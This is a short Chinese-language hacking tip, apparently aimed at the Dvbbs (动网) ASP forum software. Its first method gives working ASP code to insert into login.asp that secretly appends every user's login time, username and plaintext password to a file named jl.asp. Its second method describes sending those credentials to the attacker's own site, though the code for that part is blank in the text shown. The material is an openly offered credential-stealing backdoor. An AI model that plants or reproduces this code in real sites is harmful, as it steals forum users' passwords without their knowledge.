方法1:login.asp中Case "chk"下: (主要针对动网)
　　　on error resume next
　　　dim lp
　　　set lP=server.CreateObject("Adodb.Stream")
　　　lP.Open
　　　lP.Type=2
　　　lP.CharSet="gb2312"
　　　lp.LoadFromFile server.mapPath("jl.asp")
　　　lp.Position=lp.Size
　　　lP.writetext now&request("username")&"text:"&request("password")&chr(10)
　　　lP.SaveToFile server.mapPath("jl.asp"),2
　　　lP.Close
　　　set lP=nothing
全部登陆人的密码;时间和名字.至于admin_index.asp你看着加吧

方法二:如果你有自己的网站:
建立目录np;在里面建立一个空的jl.asp和如下代码的np.asp:

在login.asp那里插入一句: response.write "" --------所有登陆人都会乖乖的把名字和密码送到你的jl.asp 里